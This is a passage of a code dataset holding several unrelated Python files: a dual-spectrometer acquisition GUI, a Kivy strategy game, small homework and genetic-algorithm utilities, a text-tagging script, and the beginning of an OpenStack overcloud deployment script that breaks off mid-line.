+ str(self.ent_dark0.get()) + '\\n' + \\\n 'Spectrometer: ' + self.spec_name0 + '\\n' + \\\n 'Integration time (ms): ' + str(self.ent_intime0.get())+'\\n' + \\\n 'Coadds: ' + str(self.ent_coadds0.get()) + '\\n' + \\\n 'Spectrometer: ' + self.spec_name1 + '\\n' + \\\n 'Integration time (ms): ' + str(self.ent_intime1.get())+'\\n' + \\\n 'Coadds: ' + str(self.ent_coadds1.get()))\n\n#========================================================================================\n#=======================================Start and stop===================================\n#========================================================================================\n \n # Start acquiring spectra \n def start_stop(self):\n \n # Begin acquisition\n if self.start_button.config('text')[-1] == 'START':\n # Start the acquire loop\n self.running = True\n \n # Update the button\n self.start_button.config(text = 'STOP')\n self.start_button.config(bg = 'red')\n \n # Update notes file\n self.write_text('Loop started\\n' + \\\n 'Spectrum no: ' + str(self.loop) + '\\n' + \\\n 'Time: ' + str(datetime.datetime.now()) + '\\n' + \\\n 'Spectrometer: ' + self.spec_name0 + '\\n' + \\\n 'Integration time (ms): ' + str(self.ent_intime0.get())+'\\n' + \\\n 'Coadds: ' + str(self.ent_coadds0.get()) + '\\n' + \\\n 'Spectrometer: ' + self.spec_name1 + '\\n' + \\\n 'Integration time (ms): ' + str(self.ent_intime1.get())+'\\n' + \\\n 'Coadds: ' + str(self.ent_coadds1.get()))\n \n # Stop acquisition\n else:\n # Stop the acquire loop\n self.running = False\n \n # Update button\n self.start_button.config(text = 'START')\n self.start_button.config(bg = 'green')\n \n # Update notes file\n self.write_text('Loop stopped\\n' + \\\n 'Spectrum no: ' + str(self.loop) + '\\n' + \\\n 'Time: ' + str(datetime.datetime.now()) + '\\n' + \\\n 'Spectrometer: ' + self.spec_name0 + '\\n' + \\\n 'Integration time (ms): ' + str(self.ent_intime0.get())+'\\n' + \\\n 'Coadds: ' + str(self.ent_coadds0.get()) + '\\n' + \\\n 'Spectrometer: ' + self.spec_name1 + '\\n' + \\\n 'Integration time (ms): ' + str(self.ent_intime1.get())+'\\n' + \\\n 'Coadds: ' + str(self.ent_coadds1.get()))\n \n#========================================================================================\n#======================================Acquire spectra===================================\n#========================================================================================\n \n # Loop continuously, acquire spectra when running = True \n def acquire(self):\n \n # Define spectra filepaths\n spectra_fp0 = self.ent_fp.get() + self.spec_name0 + '/spectra/'\n spectra_fp1 = self.ent_fp.get() + self.spec_name1 + '/spectra/'\n \n # Create if it does not exist\n if not os.path.exists(spectra_fp0):\n os.makedirs(spectra_fp0)\n if not os.path.exists(spectra_fp1):\n os.makedirs(spectra_fp1)\n \n if self.running:\n \n n = str('{num:05d}'.format(num=self.loop)) \n \n # Create filenames\n fname0 = spectra_fp0 + 'spectrum_' + n + '.txt'\n fname1 = spectra_fp1 + 'spectrum_' + n + '.txt'\n \n # Read spectrometers\n \n # Create results queue\n result_queue = Queue()\n \n # Create threads\n t0 = Thread(target=read_spectro, args = (result_queue, \n self.spec0, \n int(self.ent_intime0.get()),\n int(self.ent_coadds0.get()),\n 2048,\n True,\n True))\n \n t1 = Thread(target=read_spectro, args = (result_queue, \n self.spec1, \n int(self.ent_intime1.get()),\n int(self.ent_coadds1.get()),\n 2048,\n True,\n True))\n \n # Begin threads\n t0.start()\n t1.start()\n \n # End threads\n t0.join()\n t1.join()\n \n # Unpack results\n thread_out = {}\n \n while not result_queue.empty():\n result = result_queue.get()\n thread_out[result[0]] = result[1]\n \n x0, y0, head0 = thread_out[str(self.spec0)]\n x1, y1, head1 = thread_out[str(self.spec1)]\n \n # Save the spectra\n np.savetxt(fname0, np.column_stack((x0,y0)), header = head0)\n np.savetxt(fname1, np.column_stack((x1,y1)), header = head1)\n \n # Plot the spectra\n \n # Bounds\n y0_low = min(y0) - (0.1*min(y0))\n y0_high = max(y0) + (0.1*max(y0))\n y1_low = min(y1) - (0.1*min(y1))\n y1_high = max(y1) + (0.1*max(y1))\n \n # Replot\n self.line0.set_data(x0, y0)\n self.ax0.set_xlim(x0.min() - 5, x0.max() + 5)\n self.ax0.set_ylim(y0_low, y0_high)\n self.line1.set_data(x1, y1)\n self.ax1.set_xlim(x1.min() - 5, x1.max() + 5)\n self.ax1.set_ylim(y1_low, y1_high)\n self.canvas.draw()\n \n # Add one to loop\n self.loop += 1\n \n # Loop every 1 ms in background to check if commenced\n self.after(1, self.acquire)\n \n# Tkinter stuff \napp = mygui()\napp.geometry(\"1280x720\")\napp.mainloop()","sub_path":"dual_spectro_run.py","file_name":"dual_spectro_run.py","file_ext":"py","file_size_in_byte":27736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"354288203","text":"from kivy.app import App\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.properties import NumericProperty, ReferenceListProperty, ObjectProperty, DictProperty, StringProperty\nfrom kivy.uix.label import Label\nfrom kivy.uix.button import Button\nfrom kivy.event import EventDispatcher\n\nfrom kivy.clock import Clock\n\nFPS = 1\n\n# resources\nRESOURCES = {\n \"food\": {\n \"n\": 500,\n \"per_s\": 0\n },\n \"wood\": {\n \"n\": 0,\n \"per_s\": 0\n },\n \"stone\": {\n \"n\": 0,\n \"per_s\": 0\n },\n \"metal\": {\n \"n\": 0,\n \"per_s\": 0\n }\n}\n\n# Buildings\nBUILDINGS = {\n \"farm\": {\n \"name\": \"Farm\",\n \"resources_per_s\": {\"food\": 10},\n \"n\": 0,\n },\n \"forest_camp\": {\n \"name\": \"Forest Camp\",\n \"resources_per_s\": {\"food\": 2, \"wood\": 5},\n \"n\": 0,\n },\n \"quarry\": {\n \"name\": \"Quarry\",\n \"resources_per_s\": {\"stone\": 2},\n \"n\": 0,\n },\n \"mine\": {\n \"name\": \"Mine\",\n \"resources_per_s\": {\"metal\": 1},\n \"n\": 0,\n }\n}\n\n# units\nUNITS = {\n \"villager\": {\n \"name\": \"Villager\",\n \"shortname\": \"v\",\n \"n\": 0,\n \"cost\": {\n \"food\": 50,\n },\n \"attack\": 1,\n \"life\": 15,\n },\n \"spearman\": {\n \"name\": \"Spearman\",\n \"shortname\": \"sp\",\n \"n\": 0,\n \"cost\": {\n \"food\": 80,\n \"wood\": 10,\n \"metal\": 8,\n },\n \"attack\": 7,\n \"life\": 30,\n },\n \"axeman\": {\n \"name\": \"Axeman\",\n \"n\": 0,\n \"cost\": {\n \"food\": 100,\n \"metal\": 15,\n },\n \"attack\": 10,\n \"life\": 25,\n },\n \"swordman\": {\n \"name\": \"Swordman\",\n \"n\": 0,\n \"cost\": {\n \"food\": 100,\n \"wood\": 5,\n \"metal\": 25,\n },\n \"attack\": 12,\n \"life\": 50,\n },\n \"cavalry\": {\n \"name\": \"Cavalry\",\n \"n\": 0,\n \"cost\": {\n \"food\": 300,\n \"wood\": 15,\n \"metal\": 25,\n },\n \"attack\": 15,\n \"life\": 80\n }\n}\n\n\nclass Farm(EventDispatcher):\n id = \"farm\"\n name = StringProperty(BUILDINGS.get(id).get(\"name\", \"Farm\"))\n n = NumericProperty(BUILDINGS.get(id).get(\"n\", 0))\n resources_per_s_per_unit = DictProperty({})\n resources_per_s = DictProperty({})\n id = StringProperty(id)\n\n def __init__(self):\n super().__init__()\n self.resources_per_s_per_unit = BUILDINGS.get(self.id).get(\"resources_per_s\", 0)\n self.resources_per_s = {}\n for resource in RESOURCES:\n self.resources_per_s[resource] = self.resources_per_s_per_unit.get(resource, 0) * self.n\n\n\nclass ForestCamp(EventDispatcher):\n id = \"forest_camp\"\n name = StringProperty(BUILDINGS.get(id).get(\"name\", \"Forest Camp\"))\n n = NumericProperty(BUILDINGS.get(id).get(\"n\", 0))\n resources_per_s_per_unit = DictProperty({})\n resources_per_s = DictProperty({})\n id = StringProperty(id)\n\n def __init__(self):\n super().__init__()\n self.resources_per_s_per_unit = BUILDINGS.get(self.id).get(\"resources_per_s\", 0)\n self.resources_per_s = {}\n for resource in RESOURCES:\n self.resources_per_s[resource] = self.resources_per_s_per_unit.get(resource, 0) * self.n\n\n\nclass Quarry(EventDispatcher):\n id = \"quarry\"\n name = StringProperty(BUILDINGS.get(id).get(\"name\", \"Quarry\"))\n n = NumericProperty(BUILDINGS.get(id).get(\"n\", 0))\n resources_per_s_per_unit = DictProperty({})\n resources_per_s = DictProperty({})\n id = StringProperty(id)\n\n def __init__(self):\n super().__init__()\n self.resources_per_s_per_unit = BUILDINGS.get(self.id).get(\"resources_per_s\", 0)\n self.resources_per_s = {}\n for resource in RESOURCES:\n self.resources_per_s[resource] = self.resources_per_s_per_unit.get(resource, 0) * self.n\n\n\nclass Mine(EventDispatcher):\n id = \"mine\"\n name = StringProperty(BUILDINGS.get(id).get(\"name\", \"Mine\"))\n n = NumericProperty(BUILDINGS.get(id).get(\"n\", 0))\n resources_per_s_per_unit = DictProperty({})\n resources_per_s = DictProperty({})\n id = StringProperty(id)\n\n def __init__(self):\n super().__init__()\n self.resources_per_s_per_unit = BUILDINGS.get(self.id).get(\"resources_per_s\", 0)\n self.resources_per_s = {}\n for resource in RESOURCES:\n self.resources_per_s[resource] = self.resources_per_s_per_unit.get(resource, 0) * self.n\n\n\nclass Buildings(GridLayout):\n farm = ObjectProperty(Farm())\n forest_camp = ObjectProperty(ForestCamp())\n quarry = ObjectProperty(Quarry())\n mine = ObjectProperty(Mine())\n\n def calc_total_villager_working(self):\n self.total = 0\n for building_name in BUILDINGS:\n building = getattr(self, building_name)\n self.total += building.n\n return self.total\n\n\nclass Food(EventDispatcher):\n id = \"food\"\n n = NumericProperty(RESOURCES.get(id).get(\"n\", 0))\n per_s = NumericProperty(RESOURCES.get(id).get(\"per_s\", 0))\n\n\nclass Wood(EventDispatcher):\n id = \"wood\"\n n = NumericProperty(RESOURCES.get(id).get(\"n\", 0))\n per_s = NumericProperty(RESOURCES.get(id).get(\"per_s\", 0))\n\n\nclass Stone(EventDispatcher):\n id = \"stone\"\n n = NumericProperty(RESOURCES.get(id).get(\"n\", 0))\n per_s = NumericProperty(RESOURCES.get(id).get(\"per_s\", 0))\n\n\nclass Metal(EventDispatcher):\n id = \"metal\"\n n = NumericProperty(RESOURCES.get(id).get(\"n\", 0))\n per_s = NumericProperty(RESOURCES.get(id).get(\"per_s\", 0))\n\n\nclass Resources(GridLayout):\n food = ObjectProperty(Food())\n wood = ObjectProperty(Wood())\n stone = ObjectProperty(Stone())\n metal = ObjectProperty(Metal())\n\n def update(self, dt):\n # print(\"update resources\")\n self.food.n += dt * self.food.per_s\n self.wood.n += dt * self.wood.per_s\n self.stone.n += dt * self.stone.per_s\n self.metal.n += dt * self.metal.per_s\n # print(self.food)\n\n\nclass Villager(EventDispatcher):\n id = \"villager\"\n name = StringProperty(UNITS.get(id).get(\"name\"))\n n = NumericProperty(UNITS.get(id).get(\"n\"))\n cost = DictProperty(UNITS.get(id).get(\"cost\"))\n\n\nclass Spearman(EventDispatcher):\n id = \"spearman\"\n name = StringProperty(UNITS.get(id).get(\"name\"))\n n = NumericProperty(UNITS.get(id).get(\"n\"))\n cost = DictProperty(UNITS.get(id).get(\"cost\"))\n\n\nclass Axeman(EventDispatcher):\n id = \"axeman\"\n name = StringProperty(UNITS.get(id).get(\"name\"))\n n = NumericProperty(UNITS.get(id).get(\"n\"))\n cost = DictProperty(UNITS.get(id).get(\"cost\"))\n\n\nclass Swordman(EventDispatcher):\n id = \"swordman\"\n name = StringProperty(UNITS.get(id).get(\"name\"))\n n = NumericProperty(UNITS.get(id).get(\"n\"))\n cost = DictProperty(UNITS.get(id).get(\"cost\"))\n\n\nclass Cavalry(EventDispatcher):\n id = \"cavalry\"\n name = StringProperty(UNITS.get(id).get(\"name\"))\n n = NumericProperty(UNITS.get(id).get(\"n\"))\n cost = DictProperty(UNITS.get(id).get(\"cost\"))\n\n\nclass Units(GridLayout):\n villager = ObjectProperty(Villager())\n spearman = ObjectProperty(Spearman())\n axeman = ObjectProperty(Axeman())\n swordman = ObjectProperty(Swordman())\n cavalry = ObjectProperty(Cavalry())\n\n\nclass RecruitMenu(GridLayout):\n pass\n\n\nclass Game(GridLayout):\n resources = ObjectProperty(Resources())\n units = ObjectProperty(Units())\n buildings = ObjectProperty(Buildings())\n\n def update(self, dt):\n # print(\"update game\")\n self.resources.update(dt)\n \n def recruit(self, unit, n):\n n = int(n)\n if self.resources.food.n >= unit.cost.get(\"food\", 0) * n and\\\n self.resources.wood.n >= unit.cost.get(\"wood\", 0) * n and\\\n self.resources.stone.n >= unit.cost.get(\"stone\", 0) * n and\\\n self.resources.metal.n >= unit.cost.get(\"metal\", 0) * n:\n self.resources.food.n -= unit.cost.get(\"food\", 0) * n\n self.resources.wood.n -= unit.cost.get(\"wood\", 0) * n\n self.resources.stone.n -= unit.cost.get(\"stone\", 0) * n\n self.resources.metal.n -= unit.cost.get(\"metal\", 0) * n\n unit.n += n\n \n def calc_idle_villagers(self):\n return self.units.villager.n - self.buildings.calc_total_villager_working()\n \n def update_resources_per_s(self):\n self.resources.food.per_s = 0\n self.resources.wood.per_s = 0\n self.resources.stone.per_s = 0\n self.resources.metal.per_s = 0\n for resource_name in RESOURCES:\n resource = getattr(self.resources, resource_name)\n for building_name in BUILDINGS:\n building = getattr(self.buildings, building_name)\n resource.per_s += building.resources_per_s[resource_name]\n\n\n def change_people_working_in_a_building(self, building, n):\n n = int(n)\n idle = self.calc_idle_villagers()\n # difference in workers between now and future:\n diff = n - building.n\n\n if idle >= diff:\n building.n = n\n for resource_name in RESOURCES:\n building.resources_per_s[resource_name] = building.resources_per_s_per_unit.get(resource_name, 0) * n\n self.update_resources_per_s()\n\nclass RPGApp(App):\n game = ObjectProperty(Game())\n\n def build(self):\n game = Game()\n Clock.schedule_interval(game.update, 1.0/FPS)\n return game\n\nif __name__ == \"__main__\":\n RPGApp().run()","sub_path":"python/kivy/RPG/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"153372114","text":"\"\"\"\nSome of the functions have a bit cumbersome behavior when we deal with\npositional and keyword arguments.\n\nWrite a function that accept any iterable of unique values and then\nit behaves as range function:\n\n\nimport string\n\n\nassert = custom_range(string.ascii_lowercase, 'g') == ['a', 'b', 'c', 'd', 'e', 'f']\nassert = custom_range(string.ascii_lowercase, 'g', 'p') == ['g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o']\nassert = custom_range(string.ascii_lowercase, 'p', 'g', -2) == ['p', 'n', 'l', 'j', 'h']\n\n\nThis function accept only values, that have different hash or id.\n\"\"\"\n\n\ndef custom_range(ranged, start, stop=None, step=1):\n if len(ranged) == 0:\n raise Exception(\"Input have no elements\")\n if len(set(ranged)) != len(ranged):\n raise Exception(\"Input consist non-unique values\")\n if stop is None:\n stop = start\n start = ranged[0]\n return [s for s in ranged[ranged.index(start) : ranged.index(stop) : step]]\n","sub_path":"homework_02/custom_range.py","file_name":"custom_range.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"588637351","text":"import random\nimport string\nfrom difflib import SequenceMatcher\n\n\n\nclass Individu:\n\n def __init__(self, finalWord, defaultValue=None):\n super().__init__()\n if defaultValue is not None:\n self.word = defaultValue\n else:\n self.word = self.__generateWord(len(finalWord))\n self.genFitness(finalWord)\n\n \n def __generateWord(self, length):\n # letters = string.ascii_lowercase + ' '\n letters = string.printable\n return ''.join(random.choice(letters) for i in range(length))\n\n def genFitness(self, finalWord):\n self.fitness = SequenceMatcher(None, self.word, finalWord).ratio()\n # arrDiff = [i for i in range(len(self.word)) if self.word[i] != finalWord[i]]\n # self.fitness = 1 - (len(arrDiff) / len(finalWord))\n return self.fitness\n\n def randomMutate(self, percentage):\n isMutate = random.random()\n if isMutate < percentage:\n pos = random.randint(0, len(self.word))\n letters = string.ascii_lowercase + ' '\n old = self.word\n self.word = self.word[:pos] + random.choice(letters) + self.word[pos + 1 :]\n return\n","sub_path":"build/lib/TP-genetique/Individu.py","file_name":"Individu.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"97319262","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport pandas as pd\n\n\ndef normalize_words():\n arq = open('disasters_words.txt').readlines()\n text = \" \".join(arq).replace(',', ' ').lower().split(' ')\n return sorted(set([x for x in text if len(x) > 1]))\n\n\ndef normalize_text(words):\n\n data = pd.read_csv('DATASET.csv')\n data['class'] = 0\n\n for index in data.index:\n text = data['text'][index]\n result = pd.Index(str(text).split()).intersection(pd.Index(words))\n\n if len(result) != 0:\n data.loc[index, 'class'] = 1\n return data\n\n\nif __name__ == \"__main__\":\n\n data = normalize_text(normalize_words())\n data.to_csv(\"DATASET_interests.csv\", index = None)\n","sub_path":"Preprocess - NLP/related_content.py","file_name":"related_content.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"631764814","text":"#!/usr/bin/python3\n\n# Copyright (c) 2016-2021 Dell Inc. or its subsidiaries.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport argparse\nimport os\nimport re\nimport sys\nimport subprocess\nimport logging\nimport novaclient.client as nova_client\nimport time\nfrom ironic_helper import IronicHelper\nfrom logging_helper import LoggingHelper\nfrom credential_helper import CredentialHelper\nfrom dell_nfv import ConfigOvercloud\n# Dell utilities\nfrom identify_nodes import main as identify_nodes\nfrom update_ssh_config import main as update_ssh_config\nlogging.basicConfig()\nlogger = logging.getLogger(os.path.splitext(os.path.basename(sys.argv[0]))[0])\n\nhome_dir = os.path.expanduser('~')\n\nBAREMETAL_FLAVOR = \"baremetal\"\n\n\n# Check to see if the sequence contains numbers that increase by 1\ndef is_coherent(seq):\n r = []\n for i in range(seq[0], seq[-1]+1):\n r.append(i)\n return seq == r\n\n\ndef validate_node_placement():\n logger.info(\"Validating node placement...\")\n\n # For each role/flavor, node indices must start at 0 and increase by 1\n ironic = IronicHelper.get_ironic_client()\n\n flavor_to_indices = {}\n for node in ironic.node.list(detail=True):\n # Skip nodes that are in maintenance mode\n if node.maintenance:\n continue\n\n # Get the value of the \"node\" capability\n node_capability = None\n capabilities = node.properties[\"capabilities\"]\n for capability in capabilities.split(\",\"):\n (key, val) = capability.split(\":\")\n if key == \"node\":\n node_capability = val\n\n # If the node capability was not set then error out\n if not node_capability:\n ip, _ = CredentialHelper.get_drac_ip_and_user(node)\n\n raise ValueError(\"Error: Node {} has not been assigned a node \"\n \"placement index. Run assign_role for this \"\n \"node and specify a role with the \"\n \"- format\".format(ip))\n\n hyphen = node_capability.rfind(\"-\")\n flavor = node_capability[0:hyphen]\n index = node_capability[hyphen + 1:]\n # Build up a dict that maps a flavor name to a sequence of placment\n # indices\n if flavor not in flavor_to_indices:\n flavor_to_indices[flavor] = []\n\n flavor_to_indices[flavor].append(int(index))\n\n # Validate that the sequence starts at zero and is coherent\n error_msg = ''\n for flavor in flavor_to_indices.keys():\n flavor_to_indices[flavor].sort()\n seq = flavor_to_indices[flavor]\n if seq[0] != 0:\n error_msg += \"Error: There must be a node with flavor \\\"{}\\\" \" \\\n \"that has node placement index 0. Current nodes placement \" \\\n \"indices are {}\\n\".format(flavor, str(seq))\n\n if not is_coherent(seq):\n error_msg += \"Error: Nodes that have been assigned the \\\"{}\\\" \" \\\n \"flavor do not have node placement indices that increase by \" \\\n \"1. Current node indices are {}\\n\".format(flavor, str(seq))\n\n # If any errors were detected then bail\n if error_msg:\n raise ValueError(error_msg)\n\n\ndef create_flavors():\n logger.info(\"Creating overcloud flavors...\")\n\n flavors = [\n {\"id\": \"1\", \"name\": \"m1.tiny\", \"memory\": 512, \"disk\": 1,\n \"cpus\": 1},\n {\"id\": \"2\", \"name\": \"m1.small\", \"memory\": 2048, \"disk\": 20,\n \"cpus\": 1},\n {\"id\": \"3\", \"name\": \"m1.medium\", \"memory\": 4096, \"disk\": 40,\n \"cpus\": 2},\n {\"id\": \"4\", \"name\": \"m1.large\", \"memory\": 8192, \"disk\": 80,\n \"cpus\": 4},\n {\"id\": \"5\", \"name\": \"m1.xlarge\", \"memory\": 16384, \"disk\": 160,\n \"cpus\": 8}]\n\n os_auth_url, os_tenant_name, os_username, os_password, \\\n os_user_domain_name, os_project_domain_name = \\\n CredentialHelper.get_overcloud_creds()\n\n kwargs = {'username': os_username,\n 'password': os_password,\n 'auth_url': os_auth_url,\n 'project_name': os_tenant_name,\n 'user_domain_name': os_user_domain_name,\n 'project_domain_name': os_project_domain_name}\n n_client = nova_client.Client(2, **kwargs)\n\n existing_flavor_ids = []\n for existing_flavor in n_client.flavors.list(detailed=False):\n existing_flavor_ids.append(existing_flavor.id)\n\n for flavor in flavors:\n if flavor[\"id\"] not in existing_flavor_ids:\n print(' Creating ' + flavor[\"name\"])\n n_client.flavors.create(flavor[\"name\"], flavor[\"memory\"],\n flavor[\"cpus\"], flavor[\"disk\"],\n flavorid=flavor[\"id\"])\n else:\n print(' Flavor ' + flavor[\"name\"] + \" already exists\")\n\n\ndef create_volume_types():\n logger.info(\"Creating cinder volume types...\")\n types = []\n if not args.disable_rbd:\n types.append([\"rbd_backend\", \"tripleo_ceph\"])\n\n if args.enable_dellsc:\n types.append([\"dellsc_backend\", \"tripleo_dellsc\"])\n\n if args.enable_unity:\n types.append([\"unity_backend\", \"tripleo_dellemc_unity\"])\n\n if args.enable_powermax:\n types.append([\"powermax_backend\", \"tripleo_dellemc_powermax\"])\n\n if args.num_powerflex > 0:\n types.append([\"powerflex_backend\", \"tripleo_dellemc_powerflex\"])\n\n overcloudrc_name = CredentialHelper.get_overcloudrc_name()\n\n for type in types:\n type_name = type[0]\n cmd = \"source {} && cinder type-list | grep ' {} ' | \" \\\n \"awk '{{print $4}}'\".format(overcloudrc_name, type_name)\n proc = subprocess.Popen([cmd], stdout=subprocess.PIPE, shell=True)\n return_output = proc.communicate()[0].strip()\n\n if type_name == return_output:\n logger.warning(\"Cinder type exists, skipping {}\".format(type[0]))\n continue\n else:\n logger.info(\"Creating cinder type {}\".format(type[0]))\n cmd = \"source {} && \" \\\n \"cinder type-create {} && \" \\\n \"cinder type-key {} set volume_backend_name={}\" \\\n \"\".format(overcloudrc_name, type[0], type[0], type[1])\n os.system(cmd)\n\n os.system(\"source {} && \"\n \"cinder extra-specs-list\".format(overcloudrc_name))\n\n\ndef create_share_types():\n logger.info(\"Creating manila share types...\")\n types = []\n\n if args.enable_unity_manila:\n types.append([\"unity_share\", \"tripleo_manila_unity\"])\n\n if args.enable_powermax_manila:\n types.append([\"powermax_share\", \"tripleo_manila_powermax\"])\n\n overcloudrc_name = CredentialHelper.get_overcloudrc_name()\n\n for type in types:\n type_name = type[0]\n cmd = \"source {} && manila type-list | grep ' {} ' | \" \\\n \"awk '{{print $4}}'\".format(overcloudrc_name, type_name)\n proc = subprocess.Popen([cmd], stdout=subprocess.PIPE, shell=True)\n return_output = proc.communicate()[0].strip()\n\n if type_name == return_output:\n logger.warning(\"Manila type exists, skipping {}\".format(type[0]))\n continue\n else:\n logger.info(\"Creating manila share type {}\".format(type[0]))\n cmd = \"source {} && \" \\\n \"manila type-create --is_public True {} true && \" \\\n \"manila type-key {} set share_backend_name={}\" \\\n \"\".format(overcloudrc_name, type[0], type[0], type[1])\n os.system(cmd)\n\n os.system(\"source {} && \"\n \"manila extra-specs-list\".format(overcloudrc_name))\n\n\ndef run_deploy_command(cmd):\n status = os.system(cmd)\n\n if status == 0:\n stack_status = CredentialHelper.get_overcloud_stack_status()\n if not stack_status or 'FAILED' in stack_status:\n logger.info(\"\\nDeployment failed even \"\n \"though command returned success.\")\n status = 1\n\n return status\n\n\ndef finalize_overcloud():\n # from keystone.v3 import client\n\n # os_auth_url, os_tenant_name, os_username, os_password = \\\n # CredentialHelper.get_overcloud_creds()\n\n # try:\n # keystone_client = client.get_keystone_client(os_username,\n # os_password,\n # os_tenant_name,\n # os_auth_url)\n # except:\n # return None\n\n create_flavors()\n create_volume_types()\n create_share_types()\n\n # horizon_service = keystone_client.services.find(**{'name': 'horizon'})\n # horizon_endpoint = keystone_client.endpoints.find(\n # **{'service_id': horizon_service.id})\n # return horizon_endpoint.publicurl\n return None\n\n\ndef main():\n try:\n global args\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--controllers\",\n dest=\"num_controllers\",\n type=int,\n default=3,\n help=\"The number of controller nodes\")\n parser.add_argument(\"--dell-computes\",\n dest=\"num_dell_computes\",\n type=int,\n required=True,\n help=\"The number of dell compute nodes\")\n parser.add_argument(\"--dell-computeshci\",\n dest=\"num_dell_computeshci\",\n type=int,\n required=True,\n help=\"The number of dell hci compute nodes\")\n parser.add_argument(\"--storage\",\n dest=\"num_storage\",\n type=int,\n required=True,\n help=\"The number of storage nodes\")\n parser.add_argument(\"--powerflex\",\n dest=\"num_powerflex\",\n type=int,\n required=True,\n help=\"The number of powerflex storage nodes\")\n parser.add_argument(\"--enable_hugepages\",\n action='store_true',\n default=False,\n help=\"Enable/Disable hugepages feature\")\n parser.add_argument(\"--enable_numa\",\n action='store_true',\n default=False,\n help=\"Enable/Disable numa feature\")\n parser.add_argument(\"--vlans\",\n dest=\"vlan_range\",\n required=True,\n help=\"The VLAN range to use for Neutron in \"\n \" xxx:yyy format\")\n parser.add_argument(\"--nic_env_file\",\n default=\"5_port/nic_environment.yaml\",\n help=\"The NIC environment file to use\")\n parser.add_argument(\"--ntp\",\n dest=\"ntp_server_fqdn\",\n default=\"0.centos.pool.ntp.org\",\n help=\"The FQDN of the ntp server to use\")\n parser.add_argument(\"--timezone\",\n dest=\"time_zone\",\n default=\"America/Chicago\",\n help=\"The timezone to use\")\n parser.add_argument(\"--timeout\",\n default=\"300\",\n help=\"The amount of time in minutes to allow the \"\n \"overcloud to deploy\")\n parser.add_argument(\"--overcloud_name\",\n default=None,\n help=\"The name of the overcloud\")\n parser.add_argument(\"--hugepages_size\",\n dest=\"hugepages_size\",\n required=False,\n default=\"1GB\",\n help=\"HugePages size\")\n parser.add_argument(\"--hostos_cpu_count\",\n dest=\"hostos_cpu_count\",\n required=False,\n default=\"4\",\n help=\"HostOs Cpus to be configured\")\n parser.add_argument('--enable_dellsc',\n action='store_true',\n default=False,\n help=\"Enable cinder Dell Storage Center backend\")\n parser.add_argument('--enable_unity',\n action='store_true',\n default=False,\n help=\"Enable Dell EMC Unity backend\")\n parser.add_argument('--enable_unity_manila',\n action='store_true',\n default=False,\n help=\"Enable Dell EMC Unity Manila backend\")\n parser.add_argument('--enable_powermax',\n action='store_true',\n default=False,\n help=\"Enable Dell EMC Powermax backend\")\n parser.add_argument('--powermax_protocol',\n dest='powermax_protocol',\n required=False,\n default=\"iSCSI\",\n help=\"Dell EMC Powermax Protocol - iSCSI or FC\")\n parser.add_argument('--enable_powermax_manila',\n action='store_true',\n default=False,\n help=\"Enable Dell EMC PowerMax Manila backend\")\n parser.add_argument('--disable_rbd',\n action='store_true',\n default=False,\n help=\"Disable cinder Ceph and rbd backend\")\n parser.add_argument('--octavia_enable',\n action='store_true',\n default=False,\n help=\"Enables Octavia Load Balancer\")\n parser.add_argument('--octavia_user_certs_keys',\n action='store_true',\n default=False,\n help=\"Enables Octavia Load Balancer with \"\n \"user provided certs and keys\")\n parser.add_argument('--dvr_enable',\n action='store_true',\n default=False,\n help=\"Enables Distributed Virtual Routing\")\n parser.add_argument('--barbican_enable',\n action='store_true',\n default=False,\n help=\"Enables Barbican key manager\")\n parser.add_argument('--static_ips',\n action='store_true',\n default=False,\n help=\"Specify the IPs on the overcloud nodes\")\n parser.add_argument('--static_vips',\n action='store_true',\n default=False,\n help=\"Specify the VIPs for the networks\")\n parser.add_argument('--ovs_dpdk',\n action='store_true',\n default=False,\n help=\"Enable OVS+DPDK\")\n parser.add_argument('--sriov',\n action='store_true',\n default=False,\n help=\"Enable SR-IOV\")\n parser.add_argument('--hw_offload',\n action='store_true',\n default=False,\n help=\"Enable SR-IOV Offload\")\n parser.add_argument('--sriov_interfaces',\n dest=\"sriov_interfaces\",\n default=False,\n help=\"SR-IOV interfaces count\")\n parser.add_argument('--node_placement',\n action='store_true',\n default=False,\n help=\"Control which physical server is assigned \"\n \"which instance\")\n parser.add_argument(\"--debug\",\n default=False,\n action='store_true',\n help=\"Indicates if the deploy-overcloud script \"\n \"should be run in debug mode\")\n parser.add_argument(\"--mtu\",\n dest=\"mtu\",\n type=int,\n required=True,\n default=1500,\n help=\"Tenant Network MTU\")\n parser.add_argument(\"--dashboard_enable\",\n action='store_true',\n default=False,\n help=\"Enable the ceph dashboard deployment\")\n parser.add_argument('--network_data',\n action='store_true',\n default=False,\n help=\"Use network_data.yaml to create edge site \"\n \"networks\")\n\n LoggingHelper.add_argument(parser)\n args = parser.parse_args()\n LoggingHelper.configure_logging(args.logging_level)\n p = re.compile('\\d+:\\d+') # noqa: W605\n if not p.match(args.vlan_range):\n raise ValueError(\"Error: The VLAN range must be a number followed \"\n \"by a colon, followed by another number\")\n os_auth_url, os_tenant_name, os_username, os_password, \\\n os_user_domain_name, os_project_domain_name = \\\n CredentialHelper.get_undercloud_creds()\n\n # Set up the default flavors\n control_flavor = \"control\"\n ceph_storage_flavor = \"ceph-storage\"\n swift_storage_flavor = \"swift-storage\"\n block_storage_flavor = 